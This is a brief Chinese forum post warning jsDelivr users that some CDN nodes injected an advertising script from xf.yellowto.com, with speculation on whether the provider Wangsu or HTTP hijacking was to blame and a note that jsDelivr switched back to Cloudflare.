如果你也在用 jsdelivr,那么请小心,他的节点会投毒。

    里面的 xf.yellowto.com ,是个广告脚本。 因为走了 Https,所以可能性如下:

    1. 官方干的;
    2. 网宿 CDN 干的( quantl 是网宿参股公司,quantl 国内节点为网宿实际运营);
    3. CDN 回原站走了 HTTP,被国家劫持?

    jsdelivr 响应很快,确认是 CDN 服务商网宿投毒,现在已经全部切换回了 CloudFlare。

    jsdelivr 官方的回复是并不确定问题所在,只是在等待网宿回复,切换回 CloudFlare 也是临时性的举动。

    我猜应该是回源 http 被劫持了…这听起来太可怕了
